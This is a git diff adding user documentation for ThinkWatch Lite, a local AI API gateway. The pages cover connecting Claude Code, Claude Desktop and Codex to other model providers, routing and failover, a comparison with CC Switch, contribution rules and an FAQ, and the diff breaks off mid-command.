with an account: **Z.ai / BigModel**, with **Authentication** set to **Account sign-in**. Choose the **Site**, tick **Acknowledge the notes above**, choose **Sign in with the browser** and authorize; to sign in from a browser other than the default one, choose **Copy link** instead. The app creates an API key named `thinkwatch` on the account and saves the upstream. + - Kimi: **Custom**, with the Anthropic-compatible base URL from Kimi's documentation and **Protocol** set to **Anthropic Messages**. For Kimi For Coding, also turn on **Forward client identity** under **Advanced settings**. + + With a key, **Next** verifies the address and key and fetches the model list at no cost; choose **Next** twice more, then **Create**. After an account sign-in the upstream is already saved and the dialog is on **Models**; choose **Next**, then **Done**. +2. On the Clients page, choose **Connect…** on the Claude Code row. The dialog lists the fields that change in `~/.claude/settings.json`: `env.ANTHROPIC_BASE_URL`, `env.ANTHROPIC_AUTH_TOKEN` (a new key named `claude-code`) and `env.CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY`. Choose **Connect**. +3. Choose how the model is selected: + - **By name.** In Claude Code, `/model ` switches to the model, and `claude --model ` starts with it. To map Claude Code's model aliases to it, add these to the `env` block of `~/.claude/settings.json`; the Haiku one also runs background tasks. + + ```json + "ANTHROPIC_DEFAULT_OPUS_MODEL": "", + "ANTHROPIC_DEFAULT_SONNET_MODEL": "", + "ANTHROPIC_DEFAULT_HAIKU_MODEL": "" + ``` + + No routing rule is needed; the default route skips upstreams whose model list does not contain it. + - **By rewriting.** On the Routing page, open the `default` route and choose **Add rule**. With **Add condition**, add **Model** `claude-*`, and **Key** `claude-code` to leave other clients alone. Set **On match** to **Forward**, **Forward to** to the upstream, and **Change model to** under **Parameter rewrites** to the model ID. Choose **Add**, then **Save**. Claude Code keeps showing Claude's names. + +## Notes + +- **Format conversion.** Claude Code sends Anthropic Messages; with that protocol the request goes out unchanged, apart from identity fields such as `metadata.user_id`, which the gateway removes. Only an upstream in another format, such as an OpenAI-compatible address set to OpenAI Chat Completions, gets a converted request: Traffic marks it **Converted** and its details list any dropped fields. Web search, a server-side tool, cannot be converted and is not sent to such an upstream. **Auto-detect** does not recognize these addresses and forwards requests in the client's own format, which suits Claude Code but not Codex. +- **Forward client identity** is off by default, so upstreams see ThinkWatch's User-Agent and no client identity. Kimi For Coding, Bailian Coding Plan and similar upstreams accept only certain clients; with the switch on, they receive Claude Code's own User-Agent, identity headers such as `x-app` and the identity fields in the body, unaltered. +- **GLM Coding Plan.** An upstream on `api.z.ai` or `open.bigmodel.cn`, signed in or added with a key, shows its 5-hour and weekly limits, and the credits left on a plan billed in credits, in the Quota / billing column and in the menu bar or tray menu. +- **Balance.** A DeepSeek upstream, and a Kimi upstream on `api.moonshot.cn` or `api.moonshot.ai`, shows the account balance in the Quota / billing column. +- **The /model list** shows gateway models only when their names contain `claude` or `anthropic`. Other models are typed by name, or added as one entry with `ANTHROPIC_CUSTOM_MODEL_OPTION`. +- **Cost.** A rewritten request is priced as the model actually sent. +- **Restore…** puts back only the fields the app wrote; model variables added by hand stay in `settings.json`. + +Related: [Features](/docs/lite/features/), [Use Codex with Claude, Gemini or a Chat Completions-only relay](/docs/lite/codex-other-models/), [Use Claude Desktop with third-party models](/docs/lite/claude-desktop-third-party-models/). diff --git a/src/content/docs-lite/en/claude-desktop-third-party-models.md b/src/content/docs-lite/en/claude-desktop-third-party-models.md new file mode 100644 index 0000000..3346239 --- /dev/null +++ b/src/content/docs-lite/en/claude-desktop-third-party-models.md @@ -0,0 +1,36 @@ +# Use Claude Desktop with third-party models + +ThinkWatch Lite connects Claude Desktop through its official third-party inference mode, with the gateway on the same computer as the inference provider. Claude Desktop accepts only model names that look like Claude's, so a routing rule rewrites those names to the model that serves the request, from GLM, DeepSeek, Kimi or any other upstream. A Claude Desktop managed by an organization is left unchanged. + +## Before you start + +- ThinkWatch Lite, [installed](/docs/lite/install/), and Claude Desktop on macOS or Windows, opened at least once. The third-party inference mode needs no Anthropic account. +- An upstream for the model, added on the Upstreams page. [Use Claude Code with GLM, DeepSeek or Kimi](/docs/lite/claude-code-other-models/) shows how for those three. + +## Steps + +1. On the Clients page, choose **Connect…** on the Claude Desktop row. The dialog lists four files, under `~/Library/Application Support` on macOS; on Windows, `Claude-3p` is under `%LOCALAPPDATA%` and `Claude` under `%APPDATA%`. + + | File | Change | + |---|---| + | `Claude-3p/configLibrary/7477a7c4-1ce0-4d3a-9b1e-7477a7c40001.json` | A configuration named ThinkWatch: `inferenceProvider` set to `gateway`, the gateway address, the key with the `x-api-key` scheme, `chatTabEnabled` and the model list `inferenceModels` | + | `Claude-3p/configLibrary/_meta.json` | Adds the ThinkWatch entry and points `appliedId` at it; other configurations stay | + | `Claude-3p/claude_desktop_config.json` | `deploymentMode` set to `3p`, nothing else | + | `Claude/claude_desktop_config.json` | `deploymentMode` set to `3p`; the MCP servers in it stay | + + `inferenceModels` receives the gateway's models whose names look like Claude's: `claude-` followed by `sonnet`, `opus`, `haiku` or `fable` and a version. When there are none, the notes say that `claude-sonnet-5` is written and give an example rule. Choose **Connect**. +2. On the Routing page, open the `default` route and choose **Add rule**. With **Add condition**, add **Model** `claude-*` and **Key** `claude-desktop`, the key named in the connect dialog. Set **On match** to **Forward** and **Forward to** to the upstream, and under **Parameter rewrites** enter the model ID in **Change model to**. Choose **Add**, then **Save**. +3. Quit Claude Desktop completely and open it again. If the sign-in page appears, choose to continue with the gateway there; this happens once. + +## Notes + +- **Managed by an organization.** A managed configuration overrides everything set on the computer: on macOS a `com.anthropic.claudefordesktop.plist` under `/Library/Managed Preferences`, on Windows the registry key `SOFTWARE\Policies\Claude` under `HKLM` or `HKCU`. The Clients page then offers no **Connect…**, and the details say "Claude Desktop on this computer is managed by an organization". +- **Model list.** `inferenceModels` is written when connecting and is not offered for update afterwards. After the gateway's models change, **Restore…** and connect again to refresh it. +- **Cloud providers.** When Claude Desktop uses Amazon Bedrock, Google Cloud Agent Platform or Microsoft Foundry through another configuration, the dialog says so: the ThinkWatch configuration is used while connected, and restoring switches back. For Bedrock it also offers **New Bedrock upstream…** with the previous settings. +- **History and web search.** Conversations in this mode are kept apart from the existing ones. Web search does not work through the gateway and needs its own setup. +- **Restore…** sets `deploymentMode` back in both files, removes the ThinkWatch entry from `_meta.json`, points `appliedId` back at the configuration used before if it still exists, and deletes the ThinkWatch configuration. +- **Checks.** The details report "Another configuration is in use in Claude Desktop" when another configuration has been applied in the app, and "Claude Desktop may still open in its usual mode" when `deploymentMode` is not `3p`. +- **By hand.** The same setup can be made in Claude Desktop: turn on Help → Troubleshooting → Enable Developer Mode, then open Developer → Configure Third-Party Inference. Choose the gateway provider, enter the gateway address and the key, set the authentication scheme to `x-api-key`, and click Apply Changes. +- **Cost.** A rewritten request is priced as the model actually sent. + +Related: [Features](/docs/lite/features/), [Use Claude Code with GLM, DeepSeek or Kimi](/docs/lite/claude-code-other-models/), [Install and update](/docs/lite/install/). diff --git a/src/content/docs-lite/en/codex-other-models.md b/src/content/docs-lite/en/codex-other-models.md new file mode 100644 index 0000000..15cd8b0 --- /dev/null +++ b/src/content/docs-lite/en/codex-other-models.md @@ -0,0 +1,39 @@ +# Use Codex with Claude, Gemini or a Chat Completions-only relay + +ThinkWatch Lite connects Codex to a gateway on the same computer that accepts the OpenAI Responses API, the only format Codex uses with a custom provider. The gateway converts each request and its answer between Responses and the upstream's format: Anthropic Messages for Claude, Google Gemini, or OpenAI Chat Completions for a relay that offers nothing else. The model is named in Codex's configuration or set by a routing rule. + +## Before you start + +- ThinkWatch Lite, [installed](/docs/lite/install/). +- Codex, either the Codex CLI or the Codex in the ChatGPT desktop app, run at least once. +- An API key for Anthropic, Google Gemini or the relay. + +## Steps + +1. On the Upstreams page, choose **New upstream** and pick the service on the first step, **Service**, which goes straight to **Connection**: **Anthropic** for Claude, or **Google Gemini**; each fills in the address and protocol. For a relay, choose its service under **Platforms and relays**, or **Custom** for any other. **OpenRouter** fills in its address and protocol. For **Sub2API**, **New API / One API** and **Custom**, enter the relay's **Base URL** without an endpoint path such as `/chat/completions`, and set **Protocol** to **OpenAI Chat Completions**; for GLM, for example, choose **Custom** with `https://api.z.ai/api/paas/v4`, or `…/api/coding/paas/v4` on a GLM Coding Plan. A base URL that ends with its own version, such as `/v4` or Volcengine Ark's `/api/v3`, is used as written from ThinkWatch Lite 2026.10.5. Enter the **API key** and choose **Next**, which checks the connection. If the relay lists no models, or leaves some out, type each missing model ID in the box at the end of **Models** and press Enter. Choose **Next**, then **Create**. +2. On the Clients page, choose **Connect…** on the Codex row. The dialog shows the change to `~/.codex/config.toml`: + + | Field | Value | + |---|---| + | `model_provider` | `thinkwatch` | + | `model_providers.thinkwatch.base_url` | The gateway address with `/v1`, by default `http://127.0.0.1:8788/v1` | + | `model_providers.thinkwatch.wire_api` | `responses` | + | `model_providers.thinkwatch.experimental_bearer_token` | A new key named `codex` | + | `model_providers.thinkwatch.http_headers` | `X-ThinkWatch-Client = "codex"` | + | `name`, `requires_openai_auth`, `supports_websockets` in the same table | `ThinkWatch`, `false`, `false` | + + Choose **Connect**, then reopen the terminal. The ChatGPT desktop app reads the same file and picks up the change after a restart. +3. Name the model. Connecting leaves `model` as it was, so Codex keeps asking for the model it used before. Either: + - set `model = ""` at the top of `~/.codex/config.toml`, before the first `[section]`, or pass `-c model=` for a single run; or + - keep Codex's model and rewrite it: on the Routing page, open the `default` route and choose **Add rule**, add the conditions **Model** `gpt-*` and **Key** `codex`, set **On match** to **Forward** and **Forward to** to the upstream, and under **Parameter rewrites** enter the model ID in **Change model to**. Choose **Add**, then **Save**. + +## Notes + +- **Codex's model table.** Codex carries metadata for its own models, such as the context window, inside the program. A model it does not know, such as a Claude or Gemini model, runs on fallback metadata with a 272,000-token context window, and Codex warns: "Model metadata for `` not found. Defaulting to fallback metadata; this can degrade performance and cause issues." For a model with a smaller window, `model_context_window` in `config.toml` sets the window Codex assumes. The gateway's model list does not appear in Codex's model picker, as Codex expects a catalog in its own format. +- **Conversion.** Requests and streamed answers are converted in both directions. Traffic marks such requests **Converted**; fields the target format cannot carry are dropped and listed in the request details. Server-side tools such as web search run only at the provider they belong to and are dropped in conversion. Codex accepts only `responses` for `wire_api`, so this conversion is what makes a Chat Completions-only relay usable. +- **Tools, history and compaction.** From ThinkWatch Lite 2026.10.11, every tool Codex declares reaches the upstream, including those it lists in its input rather than in `tools`, and tool calls come back under the names Codex gave them. Local shell calls, tool search and reasoning-effort changes in the history are converted as well. Compacting a long session works: the upstream writes a summary, which Codex keeps as its compaction and sends back in later requests. A compaction encrypted by OpenAI cannot be read by another upstream, and a request that carries one is refused with an error saying so. Instructions Codex adds in the middle of a conversation stay where they are, so the system prompt stays the same from turn to turn and the prompt cache keeps hitting. +- **Credentials.** With `requires_openai_auth = false`, Codex authenticates to the gateway with its own key and sends no OpenAI key or ChatGPT token. A ChatGPT account signed in from the app can still serve the OpenAI models next to Claude or Gemini: each request goes to an upstream that lists the model asked for. +- **Sessions.** Codex lists sessions started before and after connecting separately. `codex resume -c model_provider=thinkwatch` continues an earlier session through the gateway. After **Restore…**, sessions started while connected can still be opened, and go straight to OpenAI. +- **Cost.** A rewritten request is priced as the model actually sent. Codex marks no prompt-cache breakpoints, so on a route to an upstream in Anthropic Messages format, or to a Claude model on Bedrock that AWS lists for prompt caching (Claude 3.5 Sonnet v2, Claude 3.7 Sonnet, and Claude 4.5 and later), the gateway marks the tools, the system prompt and the last two user turns, and each turn reads what the previous one cached. Older Claude models on Bedrock, such as Sonnet 4, get no marks, and an upstream that refuses them receives the request again without them. Cache writes and reads are priced at the price sheet's cache rates; at Anthropic, writes cost 25% more than input and reads a tenth of it. + +Related: [Features](/docs/lite/features/), [Use Claude Code with GLM, DeepSeek or Kimi](/docs/lite/claude-code-other-models/), [Install and update](/docs/lite/install/). diff --git a/src/content/docs-lite/en/compare-cc-switch.md b/src/content/docs-lite/en/compare-cc-switch.md new file mode 100644 index 0000000..1f621fa --- /dev/null +++ b/src/content/docs-lite/en/compare-cc-switch.md @@ -0,0 +1,52 @@ +# ThinkWatch Lite vs CC Switch + +CC Switch and ThinkWatch Lite both connect AI coding clients such as Claude Code and Codex to different providers, and both are MIT-licensed. CC Switch switches providers by writing each client's configuration file, with an optional local proxy. ThinkWatch Lite points each client at a local gateway once, then switches, routes and records every request in the gateway, where credentials can be replaced and dangerous tool calls cut off. + +## How they work + +CC Switch keeps providers in its own database. Enabling one writes its address and key into the client's configuration, such as `env.ANTHROPIC_BASE_URL` in `~/.claude/settings.json` for Claude Code, or `~/.codex/auth.json` and `config.toml` for Codex. Claude Code picks up the change without a restart; most other clients need the client or its terminal restarted. + +Its local proxy mode, called routing in its manual, covers Claude Code, Codex, Gemini CLI and Grok Build. Turning it on writes the client's configuration to point at the proxy (`http://127.0.0.1:15721` by default); providers are then switched inside the proxy without restarting the client, and the configuration is restored when the proxy is turned off. Proxy request logs, failover and format conversion need this mode. + +ThinkWatch Lite runs a gateway, ThinkWatch Core, on the computer. The Clients page connects each client once, showing the full diff, backing up the original file and giving the client its own key. Upstreams, routing rules and failover then change in the gateway without touching the client's configuration. + +## Comparison + +A dash means the feature is not described in that product's documentation. + +| | CC Switch | ThinkWatch Lite | +|---|---|---| +| Clients | Claude Code, Claude Desktop, Codex, Gemini CLI, Grok Build, OpenCode, OpenClaw, Hermes Agent, Pi, MiniMax Code | In one step: Claude Code, Claude Desktop, Codex (also in the ChatGPT desktop app), opencode, Pi, oh-my-pi, Grok Build, Qwen Code, Hermes Agent, Zed, Aider, DeepSeek Harness. With instructions: Cursor, Continue, Antigravity CLI | +| Adding providers | More than 50 presets; `ccswitch://` links import providers, MCP servers, prompts and skills | A new upstream starts from the service, in three groups: model vendors (Anthropic, OpenAI, Google Gemini, DeepSeek, Z.ai / BigModel), platforms and relays (Amazon Bedrock, OpenRouter, ThinkWatch Enterprise, Sub2API, New API / One API), and Ollama or any compatible endpoint; ChatGPT and Z.ai / BigModel accounts sign in inside the dialog; `thinkwatch://import` links from a relay, a vendor or a ThinkWatch Enterprise console fill in the New upstream dialog for any service, headers, models and prices included | +| Routing | In proxy mode, each client's requests go to its current provider; models can be mapped per provider | Ordered rules per key by model, API format, input tokens, tools, images, extended thinking and more; rules can rewrite the model | +| Failover | Queue in priority order with a circuit breaker (proxy mode) | Next upstream in the group when an attempt fails before the answer begins; a session stays on one upstream | +| Load balancing | — | Group strategies: in order, manual, round robin, lowest latency, lowest cost | +| API format conversion | Proxy mode: Claude Code to OpenAI Chat Completions or Responses; Codex to Chat Completions or Anthropic Messages | Among Anthropic Messages, OpenAI Chat Completions, OpenAI Responses and Gemini | +| Usage and cost | Requests, tokens, cache hit rate and estimated cost, from proxy logs or the clients' session logs; custom prices, optional sync from models.dev; quota and balance display | Tokens, cost and requests by period, model and upstream; LiteLLM prices refreshed daily, or custom price sheets; estimates marked, unpriced requests counted separately; the balances and quotas that upstreams report | +| Request details | Provider, model, tokens, cost, timing and status; parameters, a response summary and errors | Matched rule, each attempt with its status, request and response bodies, cost; full-text search; replay against another upstream | +| Outbound redaction and tool-call inspection | — | API keys, private keys, ID and bank card numbers replaced before a request leaves; tool calls that download and run code or send out credentials cut off. Both start by only recording | +| MCP and skills | One MCP server list synced to the selected clients; skills installed from GitHub or ZIP files | MCP servers of 13 clients side by side, copied or removed for 4; skills and hooks listed; all scanned for hidden characters, prompt injection, dangerous commands and overly broad permissions | +| Prompts | Prompt presets written to `CLAUDE.md`, `AGENTS.md` or `GEMINI.md` | — | +| Sessions | Reads the clients' own session files; search, resume in a terminal, delete | Requests that passed through the gateway grouped into sessions and replayed turn by turn | +| Subscription accounts | ChatGPT (Codex OAuth), GitHub Copilot and xAI accounts through its reverse proxies | ChatGPT and Z.ai / BigModel accounts as upstreams; Claude Pro or Max sign-in is not supported | +| Server and remote use | — (the proxy can listen on `0.0.0.0`; provider data syncs across devices through Dropbox, OneDrive, iCloud or WebDAV) | The gateway runs as a systemd service on a Linux server, managed from the app over an encrypted control channel | +| Platforms | Windows 10 or later; macOS 12 or later on Intel and Apple silicon, signed and notarized; Linux as deb, rpm or AppImage | macOS 12 or later on Apple silicon; Windows 10 21H2 or later on x64 and ARM64; Linux on x86_64 and aarch64 as an AppImage; not signed by Apple or Microsoft | +| License | MIT | MIT | + +## Which one fits + +- **CC Switch** is the more direct choice for switching among a few providers, starting from presets, and managing MCP servers, prompts and skills for several clients in one place. +- **ThinkWatch Lite** fits when the cost and destination of each request need to be visible, requests should follow routing rules, credentials in requests should not reach a relay, or the gateway should run on a server. + +## Using both + +Both apps write Claude Code's endpoint, `env.ANTHROPIC_BASE_URL` in `~/.claude/settings.json`, and Codex's `~/.codex/config.toml`. When both connect the same client they overwrite each other: the last write decides where the client sends requests, and each app's restore puts back the value it saved before its own change. + +They can run side by side when each client goes through only one of them, for example CC Switch for Gemini CLI or OpenClaw, which ThinkWatch Lite does not connect, and ThinkWatch Lite for Claude Code and Codex. To move a client from CC Switch to ThinkWatch Lite, turn off CC Switch's proxy for that client and stop switching its providers there, then connect it on the Clients page. To move it back, restore it on the Clients page first. + +## Notes + +- The description of CC Switch is based on its README, user manual and release notes for v3.20.4, as of October 2026 ([farion1231/cc-switch](https://github.com/farion1231/cc-switch)). Later versions may differ. +- The description of ThinkWatch Lite applies to version 2026.10.4. + +Related: [Features](/docs/lite/features/), [Install and update](/docs/lite/install/), [Connecting to a remote core](/docs/lite/remote-core/), [FAQ](/docs/lite/faq/). diff --git a/src/content/docs-lite/en/contributing.md b/src/content/docs-lite/en/contributing.md new file mode 100644 index 0000000..546d872 --- /dev/null +++ b/src/content/docs-lite/en/contributing.md @@ -0,0 +1,40 @@ +# Contributing + +## Pull request target branch + +```bash +gh pr create --base dev --head your-branch +``` + +`main` is the release branch; `dev` receives routine work. GitHub sets the base of a new pull request to the default branch, `main`, which is not the intended target. If a pull request was opened against `main`, select *Edit* next to its title and change the base; the commits and the discussion are preserved. + +## Settled scope + +The following decisions are settled and are not open to change through a pull request: + +- **macOS, Windows and Linux, from one tag.** Every release tag produces five files for people to install, each with the gateway inside it and a sha256 beside it: an arm64 disk image for macOS, an x64 and an arm64 installer for Windows, and an x86_64 and an aarch64 AppImage for Linux. +- **macOS: Apple silicon only, and not signed by Apple.** The macOS artifact is an arm64 `.app` in a disk image, signed with the project's own self-signed certificate. That certificate does not satisfy Gatekeeper; it exists so that every release has the same signer, which is what lets Homebrew upgrade the app without warning that the signer changed. A universal binary for Intel and a Developer ID signature are both ongoing costs nobody has taken on, so a pull request that adds the notarization step without the account behind it cannot be merged, and neither can one that makes the build fall back to whatever architecture the machine happens to be — that ships a file some users can download and cannot open. +- **Windows: not code-signed.** The installers carry no Authenticode signature, and no certificate will be bought, so SmartScreen warns when a downloaded installer is first run. Updates are verified against the key compiled into the app, the same as on macOS. +- **Linux: the AppImage only.** No deb, rpm, Flatpak or Snap. The sandboxed formats cannot start the bundled `twcore` or edit client configuration such as `~/.claude`, and the AppImage updates itself without a password. Builds target glibc 2.35 (Ubuntu 22.04) and WebKitGTK 4.1. + +The gateway itself (routing, forwarding, cost accounting, redaction) is implemented in [ThinkWatch Core](https://github.com/ThinkWatchProject/ThinkWatch-Core). Changes to behaviour on the data path belong in that repository. + +## Commit messages + +Use Conventional Commits (`fix(scope): subject`), written in English. This is a public repository, and the commit history serves as documentation. + +Explain *why* in the body, not only *what*; the diff already shows what changed. + +## Checks before opening a pull request + +```bash +pnpm typecheck +pnpm test +cargo fmt --manifest-path src-tauri/Cargo.toml --all --check +cargo clippy --manifest-path src-tauri/Cargo.toml --all-targets -- -D warnings +cargo test --manifest-path src-tauri/Cargo.toml +``` + +Warnings are treated as errors. The toolchain tracks `stable`, so a stable release newer than your local one may report lints that do not appear locally. Run `rustup update stable` before investigating a CI failure. + +See also [What the UI must not do](/docs/lite/architecture#what-the-ui-must-not-do). diff --git a/src/content/docs-lite/en/failover-and-load-balancing.md b/src/content/docs-lite/en/failover-and-load-balancing.md new file mode 100644 index 0000000..7e622ba --- /dev/null +++ b/src/content/docs-lite/en/failover-and-load-balancing.md @@ -0,0 +1,38 @@ +# Fail over and balance load across relays and API keys + +ThinkWatch Lite turns each relay key into an upstream and puts several upstreams behind a group. A routing rule sends requests to the group, whose strategy sets the order of its members; when one fails before the answer starts, the gateway passes the request to the next without the client seeing the error. A conversation stays with the upstream that answered it while its prompt cache is worth keeping. + +## Before you start + +- ThinkWatch Lite, [installed](/lite/#install), with a client connected on the Clients page. This guide follows version 2026.10.11. +- The base URL and API keys of each relay. + +## Steps + +1. On the Upstreams page, choose **New upstream** and pick the service under **Service** (for a relay, its service under **Platforms and relays**, or **Custom**). Under **Connection**, enter a **Name**, the **Base URL** where it is asked for and one **API key**, then choose **Next**, which checks the connection, until **Create**. Repeat for each key: an upstream holds one key, and failover and pauses work per upstream. +2. On the Routing page, choose **New group** under **Groups**. Enter a **Name**, choose a **Strategy**, tick the upstreams under **Members**, drag them into order and choose **Create**. For **Round robin**, also enter each member's **Weight** and choose **Distribute by**. +3. Under **Routes**, open the route, choose **Edit…** on the rule that should use the group (usually **All requests (catch-all)**), select the group in **Forward to** and choose **Save** in both dialogs. +4. **Dry run** checks the result without sending anything. On the Traffic page, a request's **Routing** tab lists the upstreams it tried under **Attempts**. + +## Notes + +| Strategy | Order of the members | +|---|---| +| **In order** | As listed. | +| **Round robin** | Requests are distributed across the members in turn, in proportion to their weights. | +| **Lowest latency** | Median time to first token over each upstream's last 32 streamed answers; until an upstream has 3, a connection timing taken at startup stands in, and an upstream with neither ranks after. | +| **Lowest cost** | Input price of the requested model in each upstream's price sheet; free upstreams first, unpriced ones last. | +| **Manual** | The preferred upstream first, then the rest as listed. | + +A strategy only sets the order; every member remains available for failover. + +- **When the next upstream is tried.** Before anything has reached the client, the gateway moves on when the upstream cannot be reached or its credential cannot be read; answers 5xx, 429, 401, 403, 402 or 404; answers 400 or 422 with an error about an insufficient balance, a used-up quota or an unavailable model; in a streamed answer, reports an error before the first content, such as an overload; or sends no content within the no-response timeout. Other 4xx responses, and the last member's 4xx other than 429, go back to the client unchanged. +- **Weights and distribution.** In a **Round robin** group, a member's weight, from 1 to 100, is its long-run share of requests: weights 7 and 3 send seven requests in ten to the first, interleaved with the other three. **By ratio** uses the weights alone; **By speed** multiplies each by how much faster than the members' median the upstream starts answering (time to first token, squared, kept between 0.1 and 10), **By reliability** by its success rate over its last 50 outcomes within 30 minutes (squared, at least 0.05), and **By speed and reliability** by both. An upstream with too few samples counts as average, requests that stay with an upstream for their conversation count toward its share, and paused or full members sit out. +- **No response.** An upstream that sends no content for the **No-response timeout** in Settings › Failover, 300 seconds by default (30 to 3,600), is given up on. Only content counts: text, reasoning or a tool call, not keep-alive pings. The clock starts when the request is sent to that upstream, so time spent waiting for a free slot does not count, and starts again with every piece of content. Before anything has reached the client, the request moves to the next upstream and the silent one counts as a failure toward its pause; when none is left, the client receives a timeout error in its own format. Once the answer has started, it ends with an error event the client understands. A whole, non-streamed answer has the same time to arrive. A streamed answer is held back for at most 15 seconds; after that the client receives the response headers and keep-alive comments (Gemini clients get the headers only), so it does not give up while the gateway can still move to the next upstream. The silent upstream's time to first token is recorded as the full wait, which ranks it lower for **Lowest latency** and **By speed**. The request's **Routing** tab marks the attempt **No response · 300 s** with the input the upstream may have billed for it. A model that thinks for a long time without sending anything may need a longer timeout. +- **Concurrency limits.** An upstream with a **Concurrency limit** takes at most that many requests at once. When it is full, a conversation that stays on it waits for a free slot and then moves on, and other requests go straight to the next member; when every member is full, a request waits for the first free slot for up to **Wait for a free slot at most** in Settings › Failover, 30 seconds by default, and then receives a 429 with `Retry-After`, or the error of an earlier attempt when one was sent. The same wait covers a key's per-minute and per-hour usage limits, and the Traffic page shows each skip and the time queued. +- **Pauses.** A failing upstream is paused for as long as Settings › Failover sets: by default 60 seconds after 3 **Consecutive failures**, doubling up to 600; 30 minutes for **Insufficient balance**; until the reset time, or 60 minutes, for **Quota used up**; the wait a rate-limited upstream asks for, up to 60 minutes. A rule with a single upstream is never held back, and when every member is paused they are tried anyway. A request aborted on the Traffic page does not count against its upstream. +- **Sessions and prompt cache.** Within a turn, while the client sends tool results back, requests keep the rule chosen at the start of the turn and the upstream that answered. Across turns, a conversation stays with the upstream that answered last if that answer read or wrote at least 1,024 cached tokens within the last five minutes; moving would rebuild the cache at full price. Otherwise, or when that upstream is paused, the strategy orders the members again, which is when **Round robin** moves on. The **Conversation** line on a request's **Routing** tab shows when a request stayed. +- **Same model name.** Every member is asked for the model the client sent, or the name a rule rewrote it to. A member whose model list lacks it is skipped; one without a list is tried, and its 404 moves the request on. A model that a member serves but leaves out of its list can be added with **Add models…** in the member's model list on the Upstreams page, or in the **Models** section of its edit dialog. +- **Falling back to another model.** Add a rule with the condition **Selected upstream** set to the backup upstream, **On match** set to **Continue matching**, and its model in **Change model to** under **Parameter rewrites**. Such a rule is evaluated for each upstream as it is tried, failover included. The changed model no longer hits the cached prompt, and the request is priced by the name sent. + +Related: [Switch relays, upstreams or models without restarting Claude Code or Codex](/docs/lite/switch-upstreams-without-restart/), [Features](/docs/lite/features/#routing-and-failover), [Install and update](/docs/lite/install/). diff --git a/src/content/docs-lite/en/faq.md b/src/content/docs-lite/en/faq.md new file mode 100644 index 0000000..1619787 --- /dev/null +++ b/src/content/docs-lite/en/faq.md @@ -0,0 +1,79 @@ +# ThinkWatch Lite FAQ + +Short answers to common questions about ThinkWatch Lite, as of version 2026.10.4. The details are in [Features](/docs/lite/features/) and [Install and update](/docs/lite/install/). + +## What is ThinkWatch Lite? + +ThinkWatch Lite is a desktop app that runs a local gateway for Claude Code, Codex and other AI clients on macOS, Windows and Linux. Each client is connected to the gateway once; upstreams and models then change in the gateway without touching the client's configuration. Every request is recorded with its route and cost, credentials can be replaced with placeholders before a request leaves the computer, and dangerous tool calls in an answer can be cut off before the client runs them. + +## Is ThinkWatch Lite free? + +Yes. ThinkWatch Lite and its gateway, ThinkWatch Core, are open source under the MIT license: free to use, modify and redistribute, commercially or not. The app needs no account. Requests are paid for at the upstreams they go to, such as an API provider or a relay. + +## Which clients does ThinkWatch Lite support? + +ThinkWatch Lite connects twelve clients in one step on its Clients page: Claude Code, Claude Desktop, Codex (including the Codex in the ChatGPT desktop app), opencode, Pi, oh-my-pi, Grok Build, Qwen Code, Hermes Agent, Zed, Aider and DeepSeek Harness. Cursor, Continue and Antigravity CLI come with step-by-step instructions and a key created for them. + +Other clients that use the Anthropic, OpenAI or Gemini API can use the gateway address, `http://127.0.0.1:8788` by default, with a key from the Keys page. + +## Which platforms does ThinkWatch Lite run on? + +ThinkWatch Lite runs on macOS 12 or later on Apple silicon, with no build for Intel Macs; on Windows 10 21H2 or later on x64 or ARM64, as an installer or a portable zip; and on Linux on x86_64 or aarch64 as an AppImage, from Ubuntu 22.04, Debian 12 or Fedora 36 onwards. + +On Windows, Claude Code and Codex installed inside WSL can be connected under WSL 1, or under WSL 2 with mirrored networking, which needs Windows 11 22H2 and WSL 2.0.5 or later. + +## Can ThinkWatch Lite use a Claude Pro or Max subscription? + +No. ThinkWatch Lite does not support Claude subscription sign-in, and its gateway rejects Claude subscription credentials. A connected Claude Code sends its requests with a gateway key instead; restoring Claude Code on the Clients page returns it to its own sign-in. + +Through the gateway, Claude Code can use an Anthropic API key, Amazon Bedrock, a relay, a ChatGPT account, or other providers' models through API format conversion. + +## Can ThinkWatch Lite use relays and Chinese models such as GLM, Kimi, Qwen or DeepSeek? + +Yes. Any service with an Anthropic, OpenAI or Gemini API can be an upstream: on the Upstreams page, choose **New upstream**, set **Service** to **Custom**, and enter the **Base URL** and **API key**. DeepSeek, OpenRouter, Sub2API and New API / One API are in the Service list, and a Z.ai or BigModel account can be signed in directly, with its GLM Coding Plan quota shown in the app. + +Upstreams that accept only particular clients, such as Kimi For Coding or Bailian Coding Plan, need **Forward client identity** turned on in the upstream's connection settings; otherwise requests identify themselves as ThinkWatch. A custom price sheet covers a relay whose prices differ from the official ones, and a routing rule can rewrite the model name, in which case the request is priced by the name it was sent with. + +## How is ThinkWatch Lite different from CC Switch? + +CC Switch switches providers by writing each client's configuration file, and manages MCP servers, prompts and skills across clients. ThinkWatch Lite connects each client to a local gateway once, then routes, records and prices every request in the gateway, where credentials can be redacted and dangerous tool calls cut off. A detailed comparison is in [ThinkWatch Lite vs CC Switch](/docs/lite/compare-cc-switch/). + +## Does ThinkWatch Lite change client configuration files, and how are they restored? + +ThinkWatch Lite changes a client's configuration when the client is connected on the Clients page, and only the settings that point it at the gateway. Before anything is written, the page shows the full diff and backs up the original file. **Restore…** on a client, or **Restore all…**, puts the original values back. + +**Settings › Full uninstall** restores every connected client and should run before the app is removed: moving the app to the Trash, or deleting the AppImage or the portable folder, restores nothing. + +## Where does ThinkWatch Lite store data, and what does it connect to? + +Configuration, keys and request history stay on the computer: in `~/.thinkwatch` on macOS and Linux, in `%APPDATA%\ThinkWatch` for the Windows installer, and in the `data\` folder next to the program for the Windows portable copy. The gateway listens on `127.0.0.1` port 8788 by default. + +Besides the upstreams it forwards requests to, ThinkWatch Lite connects to GitHub to check for updates and to refresh LiteLLM's public price list once a day. Signing in to a ChatGPT or Z.ai account goes through their sign-in pages, and a remote core is contacted only when one is configured. + +## Does ThinkWatch Lite collect usage data? + +No. ThinkWatch Lite contains no analytics or telemetry and sends nothing about its use to the project. The update check downloads a small manifest from the project's GitHub releases, which GitHub counts like any other download; the automatic check can be turned off with **Check for updates automatically** in Settings › About. A diagnostics bundle from Settings › About is saved on the computer with keys and addresses redacted, and leaves it only if it is shared. + +## Why is ThinkWatch Lite not signed, and how can a download be verified? + +ThinkWatch Lite is not signed by a registered Apple developer, and its Windows builds are not code-signed, so the first launch needs one extra step. The Homebrew cask removes macOS's quarantine attribute itself; after installing from the disk image, run `xattr -dr com.apple.quarantine 